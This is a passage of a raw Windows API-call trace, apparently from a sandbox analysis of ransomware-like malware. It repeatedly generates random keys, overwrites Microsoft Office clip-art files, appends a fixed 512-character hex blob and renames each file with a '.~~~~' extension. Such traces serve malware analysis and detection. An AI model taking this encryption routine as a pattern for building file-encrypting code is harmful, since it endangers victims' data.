	[0125.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb46f11d0, dwHighDateTime=0x1d60e1e)) 
	[0125.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0125.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b84c0
	[0125.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b84c0 | out: hHeap=0x300000) returned 1
	[0125.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3af818
	[0125.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bbdf8
	[0125.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3af818 | out: hHeap=0x300000) returned 1
	[0125.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0125.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbdf8 | out: hHeap=0x300000) returned 1
	[0125.782] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0125.782] GetLastError () returned 0x0
	[0125.782] GetLastError () returned 0x0
	[0125.782] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0125.783] GetLastError () returned 0x0
	[0125.783] GetLastError () returned 0x0
	[0125.785] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff2de, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.785] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xd22, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0xd22, lpOverlapped=0x0) returned 1
	[0125.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.787] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.787] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.787] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.787] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.787] CloseHandle (hObject=0x120) returned 1
	[0125.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bbdf8
	[0125.787] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18184_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18184_.wmf.~~~~")) returned 1
	[0125.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbdf8 | out: hHeap=0x300000) returned 1
	[0125.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0125.789] GetLastError () returned 0x0
	[0125.789] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0125.790] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0125.790] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0125.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0125.791] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24578072833) returned 1
	[0125.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb46f11d0, dwHighDateTime=0x1d60e1e)) 
	[0125.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0125.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b8488
	[0125.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8488 | out: hHeap=0x300000) returned 1
	[0125.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3af818
	[0125.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bbb58
	[0125.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3af818 | out: hHeap=0x300000) returned 1
	[0125.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0125.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbb58 | out: hHeap=0x300000) returned 1
	[0125.792] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0125.792] GetLastError () returned 0x0
	[0125.792] GetLastError () returned 0x0
	[0125.792] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0125.792] GetLastError () returned 0x0
	[0125.792] GetLastError () returned 0x0
	[0125.869] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff2be, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.896] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xd42, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0xd42, lpOverlapped=0x0) returned 1
	[0125.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.898] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.899] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.899] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.899] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.899] CloseHandle (hObject=0x120) returned 1
	[0125.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb420
	[0125.899] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18185_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18185_.wmf.~~~~")) returned 1
	[0125.900] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb420 | out: hHeap=0x300000) returned 1
	[0125.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0125.901] GetLastError () returned 0x0
	[0125.901] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0125.902] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.902] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0125.903] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24589283450) returned 1
	[0125.903] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb4821cd0, dwHighDateTime=0x1d60e1e)) 
	[0125.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0125.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821400
	[0125.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821400 | out: hHeap=0x300000) returned 1
	[0125.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bbca8
	[0125.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0125.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbca8 | out: hHeap=0x300000) returned 1
	[0125.904] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0125.904] GetLastError () returned 0x0
	[0125.904] GetLastError () returned 0x0
	[0125.904] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0125.904] GetLastError () returned 0x0
	[0125.904] GetLastError () returned 0x0
	[0125.906] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff222, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.906] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xdde, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0xdde, lpOverlapped=0x0) returned 1
	[0125.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.908] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.908] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.909] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.909] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.909] CloseHandle (hObject=0x120) returned 1
	[0125.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bbca8
	[0125.909] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18194_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18194_.wmf.~~~~")) returned 1
	[0125.910] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbca8 | out: hHeap=0x300000) returned 1
	[0125.910] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0125.910] GetLastError () returned 0x0
	[0125.911] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0125.912] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.912] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0125.913] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24590268444) returned 1
	[0125.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb4821cd0, dwHighDateTime=0x1d60e1e)) 
	[0125.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0125.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821438
	[0125.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821438 | out: hHeap=0x300000) returned 1
	[0125.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb810
	[0125.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0125.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb810 | out: hHeap=0x300000) returned 1
	[0125.913] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0125.914] GetLastError () returned 0x0
	[0125.914] GetLastError () returned 0x0
	[0125.914] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0125.914] GetLastError () returned 0x0
	[0125.914] GetLastError () returned 0x0
	[0125.917] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffa5c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.917] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x5a4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x5a4, lpOverlapped=0x0) returned 1
	[0125.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.919] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.919] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.919] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.919] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.919] CloseHandle (hObject=0x120) returned 1
	[0125.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb810
	[0125.919] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18196_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18196_.wmf.~~~~")) returned 1
	[0125.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb810 | out: hHeap=0x300000) returned 1
	[0125.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0125.920] GetLastError () returned 0x0
	[0125.922] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0125.923] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.923] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0125.923] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24591324418) returned 1
	[0125.923] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb4847e30, dwHighDateTime=0x1d60e1e)) 
	[0125.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0125.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821470
	[0125.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821470 | out: hHeap=0x300000) returned 1
	[0125.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb6c0
	[0125.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0125.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb6c0 | out: hHeap=0x300000) returned 1
	[0125.924] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0125.924] GetLastError () returned 0x0
	[0125.924] GetLastError () returned 0x0
	[0125.924] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0125.924] GetLastError () returned 0x0
	[0125.925] GetLastError () returned 0x0
	[0125.929] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffa4c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.930] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x5b4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x5b4, lpOverlapped=0x0) returned 1
	[0125.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.932] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.932] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.932] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.932] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.932] CloseHandle (hObject=0x120) returned 1
	[0125.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb6c0
	[0125.933] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18197_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18197_.wmf.~~~~")) returned 1
	[0125.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb6c0 | out: hHeap=0x300000) returned 1
	[0125.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0125.934] GetLastError () returned 0x0
	[0125.934] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0125.936] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
